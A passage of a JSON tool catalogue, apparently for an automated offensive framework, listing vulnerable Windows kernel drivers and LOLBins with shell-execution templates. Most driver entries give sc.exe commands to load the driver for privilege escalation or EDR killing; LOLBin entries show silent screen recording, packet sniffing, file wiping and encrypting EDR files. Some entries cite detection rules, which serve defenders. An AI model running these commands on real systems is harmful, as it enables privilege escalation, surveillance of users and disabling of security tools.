    "id": "windows-kernel-wiseunlo",
    "install": [
      {
        "method": "custom",
        "description": "Load WiseUnlo.sys kernel driver",
        "commands": [
          "sc.exe create WiseUnlo.sys binPath=C:\\windows\\temp\\WiseUnlo.sys type=kernel && sc.exe start WiseUnlo.sys"
        ]
      }
    ],
    "name": "WiseUnlo.sys",
    "namespace": "windows:kernel:wiseunlo",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create wnbios.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\wnbios.sys type=kernel && sc.exe start wnbios.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver wnbios.sys\"\n\n# wnbios.sys\n\nUtilized in RealBlindingEDR. \n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-wnbios.md",
    "author": "goosvorbook",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Utilized in RealBlindingEDR. ",
    "execution": {
      "template": "sc.exe create wnbios.sys binPath=C:\\windows\\temp\\wnbios.sys type=kernel && sc.exe start wnbios.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-wnbios",
    "install": [
      {
        "method": "custom",
        "description": "Load wnbios.sys kernel driver",
        "commands": [
          "sc.exe create wnbios.sys binPath=C:\\windows\\temp\\wnbios.sys type=kernel && sc.exe start wnbios.sys"
        ]
      }
    ],
    "name": "wnbios.sys",
    "namespace": "windows:kernel:wnbios",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/myzxcg/RealBlindingEDR/"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create wsdkd.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\wsdkd.sys type=kernel && sc.exe start wsdkd.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver wsdkd.sys\"\n\n# wsdkd.sys\n\nA vulnerability was found in Watchdog Anti-Virus 1.4.214.0. It has been rated as critical. Affected by this issue is the function 0x80002008 in the library wsdk-driver.sys of the component IoControlCode Handler. The manipulation leads to improper access controls. Attacking locally is a requirement. The exploit has been disclosed to the public and may be used. VDB-223298 is the identifier assigned to this vulnerability.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-wsdkd.md",
    "author": "Chris Beckett, Jon Petersen",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "A vulnerability was found in Watchdog Anti-Virus 1.4.214.0. It has been rated as critical. Affected by this issue is the function 0x80002008 in the library wsdk-driver.sys of the component IoControlCode Handler. The manipulation leads to improper access controls. Attacking locally is a requirement. The exploit has been disclosed to the public and may be used. VDB-223298 is the identifier assigned to this vulnerability.",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create wsdkd.sys binPath=C:\\windows\\temp\\wsdkd.sys type=kernel && sc.exe start wsdkd.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "local",
      "pipes-stdin",
      "requires-root",
      "streaming"
    ],
    "id": "windows-kernel-wsdkd",
    "install": [
      {
        "method": "custom",
        "description": "Load wsdkd.sys kernel driver",
        "commands": [
          "sc.exe create wsdkd.sys binPath=C:\\windows\\temp\\wsdkd.sys type=kernel && sc.exe start wsdkd.sys"
        ]
      }
    ],
    "name": "wsdkd.sys",
    "namespace": "windows:kernel:wsdkd",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/zeze-zeze/WindowsKernelVuln/tree/master/CVE-2023-1453"
      },
      {
        "label": "Reference",
        "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-1453"
      },
      {
        "label": "Reference",
        "url": "https://avd.aquasec.com/nvd/2023/cve-2023-1453/"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create wsftprm binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\wsftprm.sys type=kernel && sc.exe start wsftprm\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver wsftprm.sys\"\n\n# wsftprm.sys\n\nNorthwave Cyber Security contributed this driver based on in-house research. The driver has a CVSSv3 score of 6.1, indicating a antivirus killer impact. This vulnerability could potentially be exploited for privilege escalation or other malicious activities.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-wsftprm.md",
    "author": "Northwave Cyber Security",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Northwave Cyber Security contributed this driver based on in-house research. The driver has a CVSSv3 score of 6.1, indicating a antivirus killer impact. This vulnerability could potentially be exploited for privilege escalation or other malicious activities.",
    "execution": {
      "template": "sc.exe create wsftprm binPath=C:\\windows\\temp\\wsftprm.sys type=kernel && sc.exe start wsftprm",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "network-intensive",
      "pipes-stdin",
      "pipes-stdout",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-wsftprm",
    "install": [
      {
        "method": "custom",
        "description": "Load wsftprm.sys kernel driver",
        "commands": [
          "sc.exe create wsftprm binPath=C:\\windows\\temp\\wsftprm.sys type=kernel && sc.exe start wsftprm"
        ]
      }
    ],
    "name": "wsftprm.sys",
    "namespace": "windows:kernel:wsftprm",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://northwave-cybersecurity.com/vulnerability-notice-topaz-antifraud"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xM0kht4r/AV-EDR-Killer"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create WYProxy64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\WYProxy64.sys type=kernel && sc.exe start WYProxy64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver WYProxy64.sys\"\n\n# WYProxy64.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-wyproxy64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create WYProxy64.sys binPath=C:\\windows\\temp\\WYProxy64.sys type=kernel && sc.exe start WYProxy64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "remote",
      "requires-root"
    ],
    "id": "windows-kernel-wyproxy64",
    "install": [
      {
        "method": "custom",
        "description": "Load WYProxy64.sys kernel driver",
        "commands": [
          "sc.exe create WYProxy64.sys binPath=C:\\windows\\temp\\WYProxy64.sys type=kernel && sc.exe start WYProxy64.sys"
        ]
      }
    ],
    "name": "WYProxy64.sys",
    "namespace": "windows:kernel:wyproxy64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create xjokercontroller.sys binPath=C:\\\\windows\\\\temp\\\\xjokercontroller.sys type=kernel && sc.exe start xjokercontroller.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver xjokercontroller.sys\"\n\n# xjokercontroller.sys\n\nConfirmed vulnerable driver from Microsoft Block List\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-xjokercontroller.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Confirmed vulnerable driver from Microsoft Block List",
    "detections": [
      {
        "type": "other"
      }
    ],
    "execution": {
      "template": "",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-xjokercontroller",
    "name": "xjokercontroller.sys",
    "namespace": "windows:kernel:xjokercontroller",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/mgraeber-rc/1bde6a2a83237f17b463d051d32e802c"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create XLHA binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\XLHA.sys type=kernel && sc.exe start XLHA\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver XLHA.sys\"\n\n# XLHA.sys\n\nXLHA.sys is a kernel driver from LG Electronics Inc. that exposes physical memory read/write via MmMapIoSpace and MSR read. Two other LG LHA.sys variants are already tracked in LOLDrivers. The driver is available in the KeServiceDescriptorTable/vulnerable-drivers repository.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-xlha.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "XLHA.sys is a kernel driver from LG Electronics Inc. that exposes physical memory read/write via MmMapIoSpace and MSR read. Two other LG LHA.sys variants are already tracked in LOLDrivers. The driver is available in the KeServiceDescriptorTable/vulnerable-drivers repository.",
    "execution": {
      "template": "sc.exe create XLHA binPath=C:\\windows\\temp\\XLHA.sys type=kernel && sc.exe start XLHA",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-xlha",
    "install": [
      {
        "method": "custom",
        "description": "Load XLHA.sys kernel driver",
        "commands": [
          "sc.exe create XLHA binPath=C:\\windows\\temp\\XLHA.sys type=kernel && sc.exe start XLHA"
        ]
      }
    ],
    "name": "XLHA.sys",
    "namespace": "windows:kernel:xlha",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/324"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create _xyzxbqvb.rdu_GFAC_Sys_x64 binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\_xyzxbqvb.rdu_GFAC_Sys_x64.sys type=kernel && sc.exe start _xyzxbqvb.rdu_GFAC_Sys_x64\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver _xyzxbqvb.rdu_GFAC_Sys_x64.sys\"\n\n# _xyzxbqvb.rdu_GFAC_Sys_x64.sys\n\n_xyzxbqvb.rdu_GFAC_Sys_x64.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-xyzxbqvb-rdu-gfac-sys-x64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "_xyzxbqvb.rdu_GFAC_Sys_x64.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create _xyzxbqvb.rdu_GFAC_Sys_x64 binPath=C:\\windows\\temp\\_xyzxbqvb.rdu_GFAC_Sys_x64.sys type=kernel && sc.exe start _xyzxbqvb.rdu_GFAC_Sys_x64",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-xyzxbqvb-rdu-gfac-sys-x64",
    "install": [
      {
        "method": "custom",
        "description": "Load _xyzxbqvb.rdu_GFAC_Sys_x64.sys kernel driver",
        "commands": [
          "sc.exe create _xyzxbqvb.rdu_GFAC_Sys_x64 binPath=C:\\windows\\temp\\_xyzxbqvb.rdu_GFAC_Sys_x64.sys type=kernel && sc.exe start _xyzxbqvb.rdu_GFAC_Sys_x64"
        ]
      }
    ],
    "name": "_xyzxbqvb.rdu_GFAC_Sys_x64.sys",
    "namespace": "windows:kernel:xyzxbqvb-rdu-gfac-sys-x64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create yyprotect64.sys binPath=C:\\\\windows\\\\temp\\\\yyprotect64.sys type=kernel && sc.exe start yyprotect64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver yyprotect64.sys\"\n\n# yyprotect64.sys\n\nConfirmed vulnerable driver from Microsoft Block List\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-yyprotect64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Confirmed vulnerable driver from Microsoft Block List",
    "detections": [
      {
        "type": "other"
      }
    ],
    "execution": {
      "template": "",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-yyprotect64",
    "name": "yyprotect64.sys",
    "namespace": "windows:kernel:yyprotect64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/mgraeber-rc/1bde6a2a83237f17b463d051d32e802c"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create zam64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\zam64.sys type=kernel && sc.exe start zam64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver zam64.sys\"\n\n# zam64.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-zam64.md",
    "author": "Michael Haag, Nasreddine Bencherchali",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create zam64.sys binPath=C:\\windows\\temp\\zam64.sys type=kernel && sc.exe start zam64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-zam64",
    "install": [
      {
        "method": "custom",
        "description": "Load zam64.sys kernel driver",
        "commands": [
          "sc.exe create zam64.sys binPath=C:\\windows\\temp\\zam64.sys type=kernel && sc.exe start zam64.sys"
        ]
      }
    ],
    "name": "zam64.sys",
    "namespace": "windows:kernel:zam64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.reddit.com/r/crowdstrike/comments/13wjrgn/20230531_situational_awareness_spyboy_defense/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/elastic/protections-artifacts/search?q=VulnDriver"
      },
      {
        "label": "Reference",
        "url": "https://www.trendmicro.com/en_us/research/23/e/attack-on-security-titans-earth-longzhi-returns-with-new-tricks.html"
      },
      {
        "label": "Reference",
        "url": "https://github.com/ZeroMemoryEx/Terminator"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\n# nmcap\n\nnmcap is a Windows LOLBin. Command-line packet capture utility from Microsoft Network Monitor 3.x. Located at: C:\\Program Files\\Microsoft Network Monitor 3\\nmcap.exe; C:\\Program Files (x86)\\Microsoft Network Monitor 3\\nmcap.exe.\n",
    "_source": "nmcap.md",
    "allowed-tools": [
      "nmcap"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Avihay Eldad",
    "capabilities": [
      "recon.enumeration"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Command-line packet capture utility from Microsoft Network Monitor 3.x. Located at: C:\\Program Files\\Microsoft Network Monitor 3\\nmcap.exe; C:\\Program Files (x86)\\Microsoft Network Monitor 3\\nmcap.exe.",
    "detections": [],
    "examples": [
      {
        "description": "Start capture on all network adapters and save to specified .cap (circular) file.\nOptionally, one can add:\n- `/TerminateWhen /TimeAfter 30 seconds` to auto-terminate after a relative times (e.g. 30 seconds);\n- `/TerminateWhen /Time 04:52:00 AM 9/17/2025` to auto-terminate after a specific date/time;\n- `/TerminateWhen /KeyPress x` to terminate when a specific key is pressed.\n (Capture network traffic on windows to collect sensitive data.)",
        "command": "nmcap.exe /network * /capture /file {PATH_ABSOLUTE:.cap}"
      }
    ],
    "execution": {
      "template": "nmcap",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "network-intensive",
      "pipes-stdout",
      "streaming"
    ],
    "global_vars": {},
    "id": "windows-recon-nmcap",
    "install": [
      {
        "method": "choco",
        "package_name": "nmcap",
        "commands": [
          "choco install nmcap"
        ]
      }
    ],
    "mitre_ids": [
      "T1040"
    ],
    "name": "nmcap",
    "namespace": "windows:recon:nmcap",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "network-monitor-3",
        "url": "https://learn.microsoft.com/en-us/troubleshoot/windows-server/networking/network-monitor-3"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "discovery"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# pktmon\n\npktmon is a Windows LOLBin. Capture Network Packets on the windows 10 with October 2018 Update or later. Located at: c:\\windows\\system32\\pktmon.exe; c:\\windows\\syswow64\\pktmon.exe.\n",
    "_source": "pktmon.md",
    "allowed-tools": [
      "pktmon"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Derek Johnson",
    "capabilities": [
      "recon.enumeration"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Capture Network Packets on the windows 10 with October 2018 Update or later. Located at: c:\\windows\\system32\\pktmon.exe; c:\\windows\\syswow64\\pktmon.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_pktmon.yml"
      },
      {
        "type": "ioc",
        "description": ".etl files found on system"
      }
    ],
    "examples": [
      {
        "description": "Will start a packet capture and store log file as PktMon.etl. Use pktmon.exe stop (use this a built in network sniffer on windows 10 to capture senstive traffic)",
        "command": "pktmon.exe start --etw"
      },
      {
        "description": "Select Desired ports for packet capture (Look for interesting traffic such as telent or FTP)",
        "command": "pktmon.exe filter add -p 445"
      }
    ],
    "execution": {
      "template": "pktmon",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "network-intensive",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-recon-pktmon",
    "install": [
      {
        "method": "choco",
        "package_name": "pktmon",
        "commands": [
          "choco install pktmon"
        ]
      }
    ],
    "mitre_ids": [
      "T1040"
    ],
    "name": "pktmon",
    "namespace": "windows:recon:pktmon",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "",
        "url": "https://binar-x79.com/windows-10-secret-sniffer/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "discovery"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# psr\n\npsr is a Windows LOLBin. Windows Problem Steps Recorder, used to record screen and clicks. Located at: c:\\windows\\system32\\psr.exe; c:\\windows\\syswow64\\psr.exe.\n",
    "_source": "psr.md",
    "allowed-tools": [
      "psr"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Leon Rodenko",
    "capabilities": [
      "recon.enumeration"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Windows Problem Steps Recorder, used to record screen and clicks. Located at: c:\\windows\\system32\\psr.exe; c:\\windows\\syswow64\\psr.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_psr_capture_screenshots.yml"
      },
      {
        "type": "ioc",
        "description": "psr.exe spawned"
      },
      {
        "type": "ioc",
        "description": "suspicious activity when running with \"/gui 0\" flag"
      }
    ],
    "examples": [
      {
        "description": "Record a user screen without creating a GUI. You should use \"psr.exe /stop\" to stop recording and create output file. (Can be used to take screenshots of the user environment)",
        "command": "psr.exe /start /output {PATH_ABSOLUTE:.zip} /sc 1 /gui 0"
      }
    ],
    "execution": {
      "template": "psr",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "pipes-stdin",
      "pipes-stdout",
      "process-manip"
    ],
    "global_vars": {},
    "id": "windows-recon-psr",
    "install": [
      {
        "method": "choco",
        "package_name": "psr",
        "commands": [
          "choco install psr"
        ]
      }
    ],
    "mitre_ids": [
      "T1113"
    ],
    "name": "psr",
    "namespace": "windows:recon:psr",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "51722.windows-problem-steps-recorder-psr-quick-and",
        "url": "https://social.technet.microsoft.com/wiki/contents/articles/51722.windows-problem-steps-recorder-psr-quick-and-easy-documenting-of-your-steps-and-procedures.aspx"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "discovery",
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# cipher\n\ncipher is a Windows LOLBin. File Encryption Utility Located at: c:\\windows\\system32\\cipher.exe; c:\\windows\\syswow64\\cipher.exe.\n",
    "_source": "cipher.md",
    "allowed-tools": [
      "cipher"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Adetutu Ogunsowo",
    "capabilities": [
      "security.defense-evasion.tamper"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "File Encryption Utility Located at: c:\\windows\\system32\\cipher.exe; c:\\windows\\syswow64\\cipher.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/c7998c92b3c5f23ea67045bee8ee364d2ed1a775/rules/windows/process_creation/proc_creation_win_cipher_overwrite_deleted_data.yml"
      },
      {
        "type": "ioc",
        "description": "cipher.exe process with /w on the command line"
      }
    ],
    "examples": [
      {
        "description": "Zero out a file (Can be used to forensically erase a file.)",
        "command": "cipher /w:{PATH_ABSOLUTE:folder}"
      },
      {
        "description": "Encrypt a file (Can be used to impair defences by e.g. encrypting a critical EDR solution file.)",
        "command": "cipher.exe /e {PATH_ABSOLUTE}"
      }
    ],
    "execution": {
      "template": "cipher",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "encryption",
      "file-system",
      "local",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-tamper-cipher",
    "install": [
      {
        "method": "choco",
        "package_name": "cipher",
        "commands": [
          "choco install cipher"
        ]
      }
    ],
    "mitre_ids": [
      "T1485",
      "T1562"
    ],
    "name": "cipher",
    "namespace": "windows:tamper:cipher",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "",
        "url": "https://www.volexity.com/blog/2024/11/22/the-nearest-neighbor-attack-how-a-russian-apt-weaponized-nearby-wi-fi-networks-for-covert-access/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "defense-evasion",
      "impact"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# fltmc\n\nfltmc is a Windows LOLBin. Filter Manager Control Program used by Windows Located at: C:\\Windows\\System32\\fltMC.exe.\n",
    "_source": "fltmc.md",
    "allowed-tools": [
      "fltmc"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "John Lambert",
    "capabilities": [
      "security.defense-evasion.tamper"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Filter Manager Control Program used by Windows Located at: C:\\Windows\\System32\\fltMC.exe.",
    "detections": [
